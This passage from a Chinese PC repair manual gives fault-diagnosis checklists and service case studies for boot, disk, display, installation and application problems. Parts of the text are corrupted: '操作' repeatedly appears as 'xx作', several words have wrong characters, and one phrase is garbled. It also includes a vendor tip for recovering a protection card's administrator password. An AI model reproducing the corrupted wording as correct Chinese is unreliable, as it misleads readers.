    问题描述:客户计算机安装WIN 2000 PROFESSIONALxx作系统,每次启动均蓝屏,报MEMORY ERROR。
    解决方案:到达客户处,故障复现,向客户了解情况,客户反映发生故障前曾经安装过一根内存条,之后发生此类故障。关机后拔下内存条,重新开机,仍旧蓝屏,但是不再报MEMORY ERROR。考虑到WIN 2000对硬件要求较高,而且故障是在加装内存后出现的故障,基本可以断定机器的原配硬件和软件系统没有问题。再次重新启动计算机,开机时按下F8键,选择进入“VGA模式”,此次计算机能够正常启动,并且登陆正常。在进行了一次正常登陆后,重新启动到标准模式,计算机启动正常,至此,故障排除。
    案例二:
    问题描述:客户机器被运行一段恶意程序,导致每次启动后均出现一个对话框,且该对话框无法关闭,只能强制结束,客户机器有重要程序,不愿意重新安装xx作系统。
    解决方案:首先怀疑是否是病毒,运行常用杀毒软件均不能查杀。在“开始”――“运行”中输入“MSCONFIG”,但是在“启动”组中仍然不能找到该程序。运行“SCANREG”,将注册表恢复到最老的版本故障依旧。最后只好手工编辑注册表,运行“REGEDIT”,在“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
    \CurrentVersion\RUN下,找到对应的程序文件名,删除对应的键值后,重新启动,故障排除。(注:建议在更改注册表前,使用注册表编辑器的“导出”功能进行注册表备份。)


    第三章 磁盘类故障
    一、定义举例
    这里所指的磁盘类故障表示两个方面:一是硬盘、光驱、软驱及其介质等引起的故障;另一是影响对硬盘、光驱、软驱访问的部件(如主板、内存等)引起的故障。
    二、可能的故障现象
    1、 硬盘驱动器
    1) 硬盘有异常声响,噪音较大;
    2) BIOS中不能正确地识别硬盘、硬盘指示灯常亮或不亮、硬盘干扰其它驱动器的工作等;
    3) 不能分区或格式化、硬盘容量不正确、硬盘有坏道、数据损失等;
    4) 逻辑驱动器盘符丢失或被更改、访问硬盘时报错;
    5) 硬盘数据的保护故障;
    6) 第三方软件造成硬盘故障;
    7) 硬盘保护卡引起的故障。
    2、 软盘驱动器
    1) 软驱指示灯不亮或常亮、软驱读盘声音大;
    2) 软驱划盘、软盘不能弹出或插入等;
    3) 软盘不能被格式化、软驱不读盘、软驱干扰其它驱动器或设备或应用的正常工作等;
    4) 在一个软驱中写的文件不能在另一个软驱中读出;
    5) 软驱盘符丢失或被更改、访问软驱时报错;
    6) 软驱安装不到位。
    3、 光盘驱动器
    1) 光驱噪音较大、光驱划盘、光驱托盘不能弹出或关闭、光驱读盘能力差等;
    2) 光驱盘符丢失或被更改、系统检测不到光驱等;
    3) 访问光驱时死机或报错等;
    4) 光盘介质造成光驱不能正常工作。

    三、可能涉及的部件
    硬盘、光驱、软驱及其它们的设置,主板上的磁盘接口、电源、信号线。
    四、判断要点/顺序
    1、 维修前的准备
    1) 磁盘数据线;
    2) 相应的磁盘检测软件;
    3) 查毒软件等。
    2、 硬盘驱动器
    1) 环境检查
    A. 检查硬盘连接:
    a) 硬盘上的ID跳线是否正确,它应与连接在线缆上的位置匹配;
    b) 连接硬盘的数据线是否接错或接反;
    c) 硬盘连接线是否有破损或硬折痕。可通过更换连接线检查;
    d) 硬盘连接线类型是否与硬盘的技术规格要求相符;
    e) 硬盘电源是否已正确连接,不应有过松或插不到位的现象。
    B. 硬盘外观检查:
    a) 硬盘电路板上的元器件是否有变形、变色,及断裂缺损等现象;
    b) 硬盘电源插座之接针是否有虚焊或脱焊现象;
    c) 加电后,硬盘自检时指示灯是否不亮或常亮;工作时指示灯是否能正常闪亮;
    d) 加电后,要倾听硬盘驱动器的运转声音是否正常,不应有异常的声响及过大的噪音。
    C. 硬盘的供电检查:
    a) 供电电压是否在允许范围内,波动范围是否在允许的范围内等。
    2) 故障判断要点
    A. 建议在软件最小系统下进行检查,并判断故障现象是否消失。这样做可排除由于其它驱动器或部件对硬盘访问的影响。
    B. 参数与设置检查:
    a) 硬盘能否被系统正确识别,识别到的硬盘参数是否正确;BIOS中对IDE通道的传输模式设置是否正确(最好设为“自动”);
    b) 显示的硬盘容量是否与实际相符、格式化容量是否与实际相符(注意,一般标称容量是按1000为单位标注的,而BIOS中及格式化后的容量是按1024为单位显示的,二者之间有3%~5%的差距。另格式化后的容量一般会小于BIOS中显示的容量)。硬盘的容量根据系统所提供的功能(如带有一键恢复),应比实际容量小很多,缩小的值请参看用户手册中的相关说明;
    c) 检查当前主板的技术规格是否支持所用硬盘的技术规格,如:对于大于8GB硬盘的支持、对高传输速率的支持等;
    C. 硬盘逻辑结构检查:参考启动类故障判断要点中的相关部分。
    a) 检查磁盘上的分区是否正常、分区是否激活、是否格式化、系统文件是否存在或完整;
    b) 对于不能分区、格式化xx作的硬盘,在无病毒的情况下,应更换硬盘。更换仍无效的,应检查软件最小系统下的硬件部件是否有故障;
    c) 必要时进行修复或初始化xx作,或完全重新安装xx作系统;
    D. 系统环境与设置检查:参考启动类故障判断要点中的相关部分。
    a) 注意检查系统中是否存在病毒,特别是引导型病毒(如用查KV3000 /K命令,或用MEM.EXE命令等进行检查);
    b) 认真检查在xx作系统中有无第三方磁盘管理软件在运行;设备管理器中对IDE通道的设置是否恰当;
    c) 是否开启了不恰当的服务。在这里要注意的是,ATA驱动在有些应用下可能会出现异常,建议将其卸载后查看异常现象是否消失;
    E. 硬盘性能检查:
    a) 当加电后,如果硬盘声音异常、根本不工作或工作不正常时,应检查一下电源是否有问题、数据线是否有故障、BIOS设置是否正确等,然后再考虑硬盘本身是否有故障;
    b) 应使用相应硬盘厂商提供的硬盘检测程序检查硬盘是否有坏道或其它可能的故障;
    F. 对于关于硬盘保护卡所引起的问题,应从以下几方面考虑:
    a) 安装硬盘保护卡,应注意将CMOS中的病毒警告关闭、将CMOS中的映射地址设为不使用(disable)、将CMOS中的第一启动设备为设为LAN;光驱和硬盘应接在不同的IDE数据线上。
    b) 如果忘记的硬盘保护卡的管理员密码,对于1.0版ALT+133,ALT+144,ALT+155,弹出10组数(必须用小键盘),对于3.0版,在管理员密码处输入ENPQ,得到一组数据,然后拨打800,来得到密码;
    c) 装有硬盘保护卡的机器,开机出现红屏现象,应使用专用的工具程序解决。方法请参阅相关的《技术工程信息通报》;
    d) 对于在某个引导盘下,看不到某些数据盘的情况,要检查:这些数据盘是否为该引导盘专属的数据盘;分区类型是否为引导盘的xx作系统所识别;在大于8GB的硬盘上,在8GB之后是否建立了属于该引导盘的FAT16分区(当然引导盘支持FAT16文件系统);该引导盘的专属分区是否多于3 个;
    e) 硬盘保护卡不起保护功能,要检查用户是否关闭了硬盘保护功能,要启用硬盘保护功能,可在进入系统前按一下F4来启用(事先应已安装过),如果不行,可重新插拔一下硬盘保护卡。在Windows下,则应检查其驱动软件是否已安装;
    f) 当启有了硬盘保护功能后,硬盘上原来的系统不被保留,应询部用户原系统是否是用第三方软件进行的分区。目前硬盘保护卡只能保护用xx作系统自带的FDISK进行分区的系统;
    g) 在硬盘保护模式为每次还原,如果由于未正常关机,而出现多次提示进行磁盘扫描,应在管理员模式下,在Msdos.sys文件中加入autoscan=0的项;
    h) 对于在使用者模式下,出现乱码的现象,需在管理员模式下运行升级盘中的SETUP.EXE;
    3、 软盘驱动器
    1) 环境检查
    A. 软驱的在一定情况下,类似于硬盘的检查方法。
    B. 检查软驱的连接:
    a) 连接电缆安装是否正确,不应有插错或插反的现象;
    b) 软驱连接的位置,应与BIOS中设置的值相符;
    c) 软驱的电源连接是否正确。
    C. 软驱外观检查
    a) 软驱中是否有异物;
    b) 电路板上及其元器件是否有变形、变色、异味等现象。
    D. 所使用的软盘介质的质量是否太差;
    2) 故障判断要点
    A. 软驱的检查,应在软件最小系统中加入软驱,或去掉硬盘后进行检查判断。且在必要时,移出机箱外检查;
    B. 类似硬盘驱动器的检查。但要注意:BIOS中对软驱是否可读写的设置是否为允许或禁止;
    C. 检查软驱的读、写能力,一方面是自身读写能力的检查,另一方面是软盘的互换读写能力的检查,即在可能有故障的软驱中写过的软盘能否在另一正常的软驱中读出。如果不能,更换软驱;
    D. 软盘是最易感染病毒的介质,因此的检查中,一定要注意对病毒的检查。
    4、 光盘驱动器
    1) 环境检查
    A. 检查光驱连接:
    a) 光驱上的ID跳线是否正确,它应与连接在线缆上的位置匹配;
    b) 连接光驱的数据线是否接错或接反;
    c) 光驱连接线是否有破损或硬折痕。可通过更换连接线检查;
    d) 光驱连接线类型是否与光驱的技术规格要求相符;
    e) 光驱电源是否已正确连接,不应有过松或插不到位的现象。
    B. 光驱外观检查:
    b) 光驱电路板上的元器件是否有变形、变色,及断裂缺损等现象;
    c) 光驱电源插座之接针是否有虚焊或脱焊现象;
    d) 加电后,光驱自检时指示灯是否不亮或常亮;工作时指示灯是否能正常闪亮;
    e) 加电后,要倾听光驱驱动器的运转声音是否正常,不应有异常的声响及过大的噪音。
    2) 故障判断要点
    A. 光驱的检查,应用光驱替换软件最小系统中的硬盘进行检查判断。且在必要时,移出机箱外检查。检查时,用一可启动的光盘来启动,以初步检查光驱的故障。如不能正常读取,则在软件最小系统中检查。最先考察的是光驱;
    B. 类似硬盘驱动器的检查方法;
    C. 光驱性能检查:
    a) 对于读盘能力差的故障,先考虑防病毒软件的影响,然后用随机光盘进行检测,如故障复现,更换维修,否则根据用户的需要及所见的故障进行相应的处理;
    b) 必要时,通过刷新光驱的formware检查不驱的故障现象是否消失(如由于光驱中放入了一张CD光盘,导致系统第一次启动时,光驱工作不正常,就可偿试此方法);
    D. xx作系统中配置检查:
    a) 在xx作系统下的应用软件能否支持当前所用光驱的技术规格;
    b) 设备管理器中的设置是否正确,IDE通道的设置是否正确。必要时卸载光驱驱动重启,以便让xx作系统重新识别。
    五、本类故障的判断流程
    见附录一之(三)。 六、案例
    案例一:
    问题描述:小王是一家公司的计算机维护人员,办公用机为联想的奔月2000机型,13G硬盘,由于长时间电脑中系统和数据未进行维护,系统启动和运行都比较慢,将C盘上的重要数据复制到D盘,之后运行联想的系统恢复软件,将隐藏分区里的Windows98SE系统复制到C盘上。10分钟不到恢复完毕,再次重新启动,正常进入Windows98系统。但是进入系统后,发现原来用PM划分的扩展分区不见了大量的数据资料都在扩展分区中,如何是好?小王陷入尴尬的境地……
    解决方案:首先查看联想机器随机资料,说明书上写着“可能对PM等的分区格式不支持,分区时请用Fdisk……”,可能是进行系统恢复时破坏了原来的硬盘分区表,有没有什么办法解决呢I诵莫机进入MSDos或者进入PM,出了一个主分区和一个扩展分区没有其他的分区信息,这时想到软件Diskman,进入MSDos,运行Diskman,首先警告说分区表有误,Diskman虽然仍然把硬盘识别成两个分区,但它还有重新检测分区表的功能。重新检测分区表有全自动和交互两种方式,选择后者,Diskman就开始逐柱面检测硬盘上原已存在的分区表。过了很长的时间,原有的三个分区包括联想系统恢复软件隐藏的备份分区都被检测了出来,保持分区格式,一切正常。
    点评:用户应用中或是在用户对硬盘分区时断电都会导致硬盘分区表的错误,遇到此种问题时不要着急,要分析问题的原因,查看相关的资料,如相关软件和计算机附带的资料,借助相关的软件或工具解决,若是对硬盘的工作原理、相关软件或工具的应用不是很了解,一定要查找相关资料或是向人询问。
    注:Diskman硬盘分区表维护软件,运行于MSDOS环境,采用全中文图形界面,无须任何汉字系统支持。以图表的形式揭示了分区表的详细结构,支持鼠标xx作,支持8G以上的大硬盘和UNIX、NTFS等多种分区格式等。

    案例二:
    问题描述:一用户天禧二5311机型,用户反映用随机的软件NTI CD-Maker Plus中的FileCD工具格式化可擦写光盘的时候(明基CD-RW),进度很快到100%,但是没有格式化完毕的提示,强行关闭对话框也无法关闭。最后等了只得结束任务。用NTI CD-Maker Plus刻录硬盘,刻录过程中显示刻录进度,并提示刻录完毕后,将刻录好的光盘放入光驱,提示无法识别光盘。
    解决方案:首先考虑是NTI CD-Maker中的插件FileCD的软件问题,升级NTI CD-Maker软件到V5.08,V5.13,都没能解决,升级到V5.15现象依旧,再看FileCD的版本和用户原机的FileCD的版本一样,为2.0.10后续的版本并未在擦写光盘的功能上有所改进。考虑选用另外的刻录软件,用NERO来进行测试(版本为V5.5.9.0),用该软件执行快速擦写后再对光盘进行刻录,依旧发生上述的现象。但是用SONY的CD-RW光盘则无此问题。
    点评:擦写光盘时和刻录软件及刻录机都有很大的关系,请工程师在解决问题时可以从多个角度考虑问题。

    案例三:
    问题描述:一用户光驱过保,用户自行购买光驱,据用户称在市场上购买光驱时进行测试,光驱没有任何问题,测试的数据盘和VCD等光盘都可以正常读出,但是回到家加装光驱后,开机进入系统,所有放入光驱中的碟片在驱动器的盘符上都只显示CD样的标记。用户回到购买处将光驱安装到测试机器上,问题复现。
    解决方案:经过检查发现,光驱的数据接口上一根数据线弯,导致驱动器中数据无法正常识别。
     
    第四章 显示类故障
    一、定义举例
    这类故障不仅包含由于显示设备或部件所引起的故障,还包含有由于其它部件不良所引起的在显示方面不正常的现象。也就是说,显示方面的故障不一定就是由于显示设备引起的,应全面进行观察和判断。
    二、可能的故障现象
    1、 开机无显、显示器有时或经常不能加电;
    2、 显示偏色、抖动或滚动、显示发虚、花屏等;
    3、 在某种应用或配置下花屏、发暗(甚至黑屏)、重影、死机等;
    4、 屏幕参数不能设置或修改;
    5、 亮度或对比度不可调或可调范围小、屏幕大小或位置不能调节或范围较小;
    6、 休眠唤醒后显示异常;
    7、 显示器异味或有声音。
    三、可能涉及的部件
    显示器、显示卡及其它们的设置;主板、内存、电源,及其它相关部件。特别要注意计算机周边其它设备及地磁对计算机的干扰。
    四、判断要点/顺序
    1、 维修前的准备
    相应显示卡的最新版驱动程序
    2、 环境检查
    1) 市电检查:
    A. 市电电压是否在220V±10%、50Hz或60Hz;市电是否稳定;
    B. 其余参考加电类故障中有关市电检查部分。
    2) 连接检查:
    A. 显示器与主机的连接牢伤心、正确(特别注意,当有两个显示端口时,是否连接到正确的显示端口上);电缆接头的针脚是否有变形、折断等现象,应注意检查显示电缆的质量是否完好;
    B. 显示器是否正确连接上市电,其电源指示是否正确(是否亮及颜色);
    C. 显示设备的异常,是否与未接地线有关。特别注意:不允许电脑维修工程师为用户安装地线,应请用户通过正式电工来安装;
    3) 周边及主机环境检查:
    A. 检查环境温、湿度是否与使用手册相符(如钻石珑管,要求的使用温度为18~40C);
    B. 显示器加电后是否有异味、冒烟或异常声响(如爆裂声等);
    C. 显示卡上的元器件是否有变形、变色,或温升过快的现象;
    D. 显示卡是否插好,可以通过重插、用橡皮或酒精擦拭显示卡(包括其它板卡)的金手指部分来检查;主机内的灰尘是否较多,进行清除;
    E. 周围环境中是否有干扰物存在(这些干扰物包括:日光灯、UPS、音箱、电吹风机、相伤心过近(50厘米以内)的其它显示器,及其它大功率电磁设备、线缆等)。注意显示器的摆放方向也可能由于地磁的的影响而对显示设备产生干扰;
    F. 对于偏色、抖动等故障现象,可通过改变显示器的方向和位置,检查故障现象能否消失。
    4) 其它检查及注意事项:
    A. 主机加电后,是否有正常的自检与运行的动作(如有自检完成的鸣叫声、硬盘指示灯不停闪烁等),如有,则重点检查显示器或显示卡;
    B. 禁止带电搬动显示器及显示器方向,在断电后的一段时间内(2~3分钟)也最好不要搬动显示器。
    3、 故障判断要点
    1) 调整显示器与显示卡:
    A. 通过调节显示器的OSD选项,最好是回复到RECALL(出厂状态)状态来检查故障是否消失。对于液晶显示器,需按一下auto config按钮;
    B. 显示器的参数是否调得过高或过低(如H/V-MOIRE,这是不能通过RECALL来恢复的);
    C. 显示器各按钮可否调整,调整范围是否偏移显示器的规格要求;
    D. 显示器的异常声响或异常气味,是否超出了显示器技术规格的要求(如新显示器刚用之时,会有异常的气味;刚加电时由于消磁的原因而引起的响声、屏幕抖动等,但这些都属正常现象)。有关显示器的规格,请见附录二之(二);
    E. 显示卡的技术规格是否可用在主机中(如AGP 2.0卡是否可用在主机的AGP插槽中等)。
    2) BIOS配置调整:
    A. BIOS中的设置是否与当前使用的显示卡类型或显示器连接的位置匹配(即是用板载显示卡、还是外接显示卡;是AGP显示卡还是PCI显示卡);
    B. 对于不支持自动分配显示内存的板载显示卡,需检查BIOS中显示内存的大小是否符合应用的需要;
    以下的检查应在软件最小系统下进行。
    3) 检查显示器/卡的驱动:
    A. 显示器/卡的驱动程序是否与显示设备匹配、版本是否恰当;
    B. 显示器的驱动是否正确,如果有厂家提供的驱动程序,最好使用厂家的驱动;
    C. 是否加载了合适的Direct X驱动(包括主板驱动);
    D. 如果系统中装有Direct X驱动,可用其提供的Dxdiag.exe命令检查显示系统是否有故障。该程序还可用来对声卡设备进行检查。
    4) 显示属性、资源的检查:
    A. 在设备管理器中检查是否有其它设备与显示卡有资源冲突的情况,如有,先去除这些冲突的设备;
    B. 显示属性的设置是否恰当(如:不正确的监示器类型、刷新速率、分辨率和颜色深度等,会引起重影、模糊、花屏、抖动、甚至黑屏的现象);
    5) xx作系统配置与应用检查:
    A. 系统中的一些配置文件(如:System.ini文件)中的设置是否恰当;
    B. 显示卡的技术规格或显示驱动的功能是否支持应用的需要;
    C. 是否存在其它软、硬件冲突。
    6) 硬件检查:
    A. 当显示调整正常后,应逐个添加其它部件,以检查是何部件引起显示不正常;
    B. 通过更换不同型号的显示卡或显示器,检查是否存在它们之间的匹配问题;
    C. 通过更换相应的硬件检查是否由于硬件故障引起显示不正常(建议的更换顺序为:显示卡、内存、主板)。
    五、本类故障的判断流程
    见附录一之(四)。
     


    六、案例
    案例一:
    问题描述:碰到过这样的一台机器,现象比较怪,机型为奔月2000 PIII/800,故障为经常性的开机无显,有时能显示进入系统,但使用1-2小时会出现死机,重启又无显示,只有过很长时间再开机,才可以显示。
    解决方案:碰到此问题,首先断定应为硬件问题,打开机箱,查看各板卡并无松动(注:显卡与主板插槽上的联想贴条,粘得很紧),换件试吧,先后更换过内存、CPU、电源,均不能解决问题,再换主板吧,拆撕显卡与主板插槽的联想贴条时,感觉到显卡没插到位,向下按,还能再进去一点,遂怀疑是不是显卡与主板接触不良所致,于是又把机器的原部件全都还原,试机,一切正常。
    后记:此案例就是因为显卡的接触不良,而造成的奇怪故障,在维修中因为检测时的疏漏(只查看显卡是否插紧,而未实际动手检查一下),造成了维修过程的繁琐。

    案例二:
    问题描述:一台奔月机器,用户称每次启动都无法进入WIN98,光标停留在屏幕左上角闪动,死机;但安全模式可以进入。
    解决方案:怀疑为显卡或监视器设置不当所致,进入安全模式把显示分辨率设为640*480,颜色设为16色,重启,能以正常模式进入,但只要改动一下分辨率或颜色,则机器就不能正常启动;察看机器内部,除用户自加一块网卡外,别无其它配置,难道是网卡与显卡发生了冲突?拔掉网卡,能正常启动WIN98,给网卡换个插槽,开机检测到新硬件,加载完驱动,启动,一切正常。
    后记:由于显卡与其它部件不兼容或冲突造成的死机,完全可以先采用最小系统化的方法来测试(最小系统化法即只保留主板、CPU、显卡、电源等主要部件),先排除主要的部件,再逐一检测其它扩展卡。

    案例三:
    问题描述:三角洲部队-大地勇士,在810(e)系列主板的机器上运行(同禧、逐日系列),如用随机带的显卡驱动程序安装(而用随机盘进 行驱动的安装又是我们一贯的作风),在进入游戏画面时,必然会导致死机。
    解决方案:解决方法就是从网上下载新版本的驱动,进行升级。
    后记:如果在实际维修中遇到玩3D游戏死机的故障,估计可能是显卡故障,而又无备件替换时(这在我们上门维修中,是经常遇到的),不妨从网上下载一个Direct control软件,通过它屏蔽掉AGP支持。再玩3D游戏,如不出现死机,说明问题很可能出在别处(如主板、内存)。如死机,则在很大程度上说明,这块显卡是有故障的了。


    案例四:
    故障描述: 开天2200 P4/1.7G (为QDI P7LI-AL主板),在运行华光超恩组版软件时(带一ISA加密卡),如进行放大显示,则左边界线无法显示。
    解决方案: 用户新购机器,代理商在为用户安装超恩组版软件时,出现问题。换一新机,故障依旧,代理判断为华光ISA卡与此机型不兼容,让维修站上门解决。到用户处,复现故障,插一PCI显卡则显示正常,估计不为机器故障。在系统属性—性能—图形中,把硬件加速调低两格,问题解决。


    第五章 安装类故障
    一、定义举例
    这类故障主要是反映在安装xx作系统或应用软件时出现的故障
    二、可能的故障现象
    1、 安装xx作系统时,在进行文件复制过程中死机或报错;在进行系统配置时死机或报错;
    2、 安装应用软件时报错、重启、死机等(包括复制和配置过程);
    3、 硬件设备安装后系统异常(如黑屏、不启动等);
    4、 应用软件卸载后安装不上,或卸载不了等。
    三、可能涉及的部件
    磁盘驱动器、主板、CPU、内存,及其它可能的部件、软件。
    四、判断要点/顺序
    1、 维修前的准备
    1) 注意携带磁盘数据线;
    2) 相适应的最新版设备驱动程序。
    2、 环境检查
    1) 软件安装
    A. 检查硬件设备的连接与外观:
    a) 检查与主机连接的其他设备工作是否正常;
    b) 设备间的连接线是否接错或漏接。连接插头、座的接针是否有变形、缺失、短路等现象;
    c) 仔细检查报错信息,判断可能造成故障的部位;
    d) 观察系统是否有异味,元器件的温度;
    e) CPU风扇的转速是否过慢或不稳定;
    f) 驱动器工作时是否有不正常的声响。
    B. 其它方面检查:
    a) 认真对照软件的使用手册,确认机器的软、硬件配置符合该手册的要求;
    b) 仔细观察安装介质是否完好。
    2) 设备安装
    A. 检查设备的连接与外观:
    a) 要安装的设备、部件是否连接正确,连接电缆是否完好、接针是否有缺针、断针、或短接的现象;
    b) 要安装的设备、部件的制作工艺是否优良;
    c) 余类似上述软件安装。
    B. 驱动程序介质检查:用于安装设备的驱动程序介质是否完好。
    3、 故障判断要点
    1) xx作系统安装:
    A. 检查CMOS中的设置:
    a) 如果需要,请先恢复到出厂设置;
    b) 关闭BootEasy功能、关闭防病毒功能,及关闭BIOS防写开关;
    c) 特别注意硬盘的参数、CPU的温度等。注意观察自检时显示出来的信息是否与实际的硬件配置相符。
    B. 安装介质与目标介质检查:
    a) 检查是否有病毒;
    b) 检查分区表是否正确、分区是否激活。使用Fdisk /mbr命令来确保主引导记录是正确的(注意使用此命令后,如果机器不能启动,可证明原系统中存在病毒或有错误。硬盘应做初始化xx作);
    c) 检查系统中是否有第三方内存驻留程序。
    以下过程,建议在软件最小系统下检查(注:在最小系统下,需要添加与安装有关的其它驱动器)。
    C. 安装过程检查:
    a) 如果在复制文件时,报CAB等文件错,可偿试将原文件复制到另一介质(如硬盘)上再行安装。如果正常通过,则原安装介质有问题,可去检查介质及相应的驱动器是否有故障;若仍然不能复制,应检查相应的磁盘驱动器、数据线、内存等部件;
    b) 如果是采用覆盖安装而出现上述问题,建议如果更换安装介质后仍不能排除故障,应先对硬盘进行初始化xx作,再重新安装(初始化xx作时,最好将硬盘分区彻底清除后进行)。如果仍不能解决,再考虑硬件;
    c) 安装过程中,在检测硬件时出现错误提示、蓝屏或死机等,一是通过多重新启动几次(应该是关机重启),看能否通过;另一是在软件最小系统下检查是否能通过。如果不能通过,应该依次检查软件最小系统中的内存、磁盘、CPU(包括风扇)、电源等部件;如果能正常安装,则是软件最小系统之外的部件的故障或配置问题,这可通过在安装完成后,逐步添加那些部件,并判断是否有故障或配置不当;
    D. 硬件及其它应注意的问题:
    a) 如果安装系统时重启或掉电,要求在软件最小系统下进行测试。如果故障消失,在安装好系统以后,将软件最小系统之外的设备逐一接上,检查故障是由哪个部件引起,并用替换法解决;如果故障不能消失,应检查软件最小系统中的电源、主板和内存,甚至磁盘驱动器;
    b) 在IDE设备上安装诸如UNIXxx作系统时,或要安装多个xx作系统时,要注意:一是8.4GB 限制(UNIX的开始部分必须在8.4GB之内)——这一条在SCSI设备上无这一要求;另一是多xx作系统间的安装顺序及配合关系;
    E. 对于LEOS的安装应注意以下几点:
    a) 确保主板BIOS支持LEOS,建议在为用户更换主板后首先就要刷新支持LEOS的BIOS;
    b) 如果为用户更换硬盘,也要注意备件硬盘是否正确支持DMA66。否则在安装LEOS时也会出现问题;
    c) LEOS最好是在一块全新未被分区的硬盘上进行安装。具体顺序可以参考如下方案:新硬盘-〉安装LEOS->分区(Fdisk)->安装xx作系统(Windows XP)-〉制作一键恢复。如果原硬盘存在分区,可以使用Clear.com程序清楚后再安装LEOS。
    2) 应用软件安装:
    A. 检查安装应用软件问题时应注意的问题:
    a) 应用软件的安装问题,部分可参考上述的xx作系统安装的检查方法;
    b) 在进行安装前,要求先备份注册表,再进行安装;
    B. 软件间、软硬件间的冲突检查:
    a) 可采用两种软件问题隔离的方法。一是在软件最小系统下,关闭正在运行的应用程序,然后安装需要的应用软件;另一是在原系统下直接关闭正在运行的应用程序,然后安装需要的应用软件。关闭已有的应用的方法是:使用msconfig禁用启动组、autoexec.bat、config.sys、win.ini、system.ini中在启动时调用的程序;
    b) 使用任务管理器,检查系统中有无不正常的进程,并给予杀除;
    c) 对于基本满足软件技术手册要求但安装不上的情况,看能否通过设置调整来解决。如果不能解决,则视为不兼容;
    d) 利用其它机器(最好是不同配置的),检查是否存在软、硬件方面的兼容问题;
    e) 检查系统中是否已经安装过该软件,如果已经安装过应先将其卸载后再安装,如果无法正常卸载,可以手动卸载或通过恢复注册表来卸载(对于Windows XP可使用系统还原功能来卸载);
    f) 必要时,可从网络上查阅相关资料,之后再与软件厂商联系,看是否有其他的注意事项。
    C. 硬件检查:
    在以上的步骤都不奏效时可考虑硬件问题,应检查光驱、安装介质、硬盘线等配件。
    3) 硬件设备安装:
    A. 冲突检查:
    a) 所安装的设备、部件是否在系统启动前的自检过程中识别到,或能由xx作系统识别到(非即插即用识备除外)。如果不能识别,应检查BIOS设置及设备本身,包括跳线及相应的插槽或端口;
    b) 检查新安装的设备与原系统中的设备是否有冲突;通过改变驱动的安装顺序、去除原系统中的相应部件或设备、更换插槽,看故障是否消除。如果不能消除,则为不兼容;
    c) 加装的设备是否与现有系统的技术规格或物理规格匹配;
    d) 检查当前系统中的一些设置(主要是.ini文件中的设置)是否与所安装的部件或设备驱动有不匹配的地方;
    B. 驱动程序检查:所安装的设备驱动是否为合适的版本(即,不一定是最新的);
    C. 硬件检查:
    a) 所安装的部件或设备是否本身就有故障;
    b) 检查原系统中的部件是否有不良的现象(如插槽损坏、供电能力不足等)。
    五、本类故障的判断流程
    见附录一之(五)。
    六、案例
    案例一:
    问题描述:用户报修天禧6620机器,在安装98过程中,提示剩余三分钟时。Hwinfo报错,无法正常安装。
    解决方案:工程师上门后,经过检测,确实存在用户反应的问题。然后尝试将安装文件拷贝到硬盘上安装和换一张安装盘安装,故障依旧。接着检查BIOS发现,系统日期是2075年。将日期改回后,故障排除。问题虽小,影响却大。在此,提醒各位同仁,做事要细心,不要忽略每个细节。

    案例二:
    问题描述:逐日2000机器,一次突然死机,不能启动,重装系统能成功,但在设备管理里有很多问号,如打印口,COM口等都没有驱动。
    解决方案:在站内又重装系统,驱动主板不能解决问题,看来只有更换主机才行了。打开机箱,发现有很多灰尘,取出主板,进行大扫除,抱着试一试的心里,重装一切OK。

    案例三:
    问题描述:一用户奔月4000机器/PIII 1G,他是单位技术员,说此机不能重装系统,每次重装都死机,要求上门维修。
    解决方案:到达用户处,发现重装到检测硬件时无反应,打开机器进行检查时,发现CPU风扇不是联想。客户说这是刚从市场上拿来的,新的,应没有问题。依次替代硬盘与内存没有用,经用户同意带回站内烤机,再换下主板与CPU还是不行,后经多次重试发现每次死时间越来越短,怀疑还是CPU风扇有问题。换其它联想机器上的风扇竟解决问题。引起故障原因是客户的CPU风扇转速不够,引起温度过高死机。第六章 xx作与应用类故障
    一、定义举例
    这类故障主要是指启动完毕后到关机前所发生的应用方面及系统方面的故障。
    二、可能的故障现象
    1、 休眠后无法正常唤醒;
    2、 系统运行中出现蓝屏、死机、非法xx作等故障现象;
    3、 系统运行速度慢;
    4、 运行某应用程序,导致硬件功能失效;
    5、 游戏无法正常运行;
    6、 应用程序不能正常使用。
    三、可能涉及的部件
    主板、CPU、内存、电源、磁盘、键盘、接插的板卡等
    四、判断要点/顺序
    1、 维修前的准备
    1) 干净的可用硬盘;
    2) 杀毒软件;
    3) 尽可能新的驱动程序、若干版本的BIOS;
    4) 磁盘连接的数据线等。
    2、 环境检查
    1) 市电及连接检查:
    A. 检查市电是否正常,连接是否牵伤心;是否有接地;
    B. 设备间的连接线是否接错或漏接。
    2) 周边及外观检查:
    A. 检查与主机连接的其他外设工作是否正常;
    B. 驱动器工作时是否有异响,CPU风扇的转速是否过慢或不稳定;
    C. 观察机箱内灰尘是否太多,而导致各插接件间接触不良。先除尘后可用橡皮等擦拭金手指,去除氧化层或灰尘。然后重新插上;
    D. 观察系统是否有异味,元器件的温升是否过高或过快。
    3) 显示与设置检查:
    A. 详细记录报错信息,判断可能造成故障的部位;
    B. 注意CMOS中对于硬盘、系统时间、CPU温度的设置,注意在自检时显示的硬件信息和机器配置是否相符;
    C. 仔细阅读软件的使用指南,注意软件运行的环境要求。
    4) 充分与用户沟通:
    A. 了解用户的使用情况;
    B. 出故障前的现象;
    C. 做过什么xx作才出现目前的故障。
    根据以上了解的情况,来初步判断可能的故障原因。
    3、 故障判断要点
    1) 检查是否由于用户误xx作引起
    A. 机器出现死机、蓝屏或无故重启时,首先要考虑到用户的xx作是否符合xx作规范和要求,要仔细询问、观察用户的xx作方法是否符合常理,并由工程师用正确的方法xx作、应用用户的机器,查看是否出现用户所报修的故障。若不出现,则可认为是用户xx作不当引起的,由工程师向用户解释并演示正确的xx作方法。
    B. 若经过上述xx作故障依然存在,可用系统文件检查器检查用户的机器系统是否有丢失的DLL文件,并尝试恢复。
    C. 注意观察用户的机器在死机、蓝屏或无故重启时有没有规律,并找出可能引起机器故障的原因(如机器在运行某一程序时或机器开机在一定时间内死机)。
    D. 通过与另一台软硬件相同且无故障的机器进行比较,查看故障机的文件大小是否相同或相差不大,主程序的版本是否一致。
    2) 检查是否由于病毒或防病毒程序引起故障
    A. 检查用户的机器是否被病毒感染,使用杀毒软件杀毒;
    B. 检查用户是否安装了两个或两个以上的防毒软件,建议用户使用其中一个,并卸载其他的防毒软件;
    C. 检查是否有木马程序,用最新版的杀毒程序可以查出木马程序。可以通过安装补丁来弥补程序中的安全漏洞,或者安装防火墙。
    3) 检查是否由于xx作系统问题引起故障
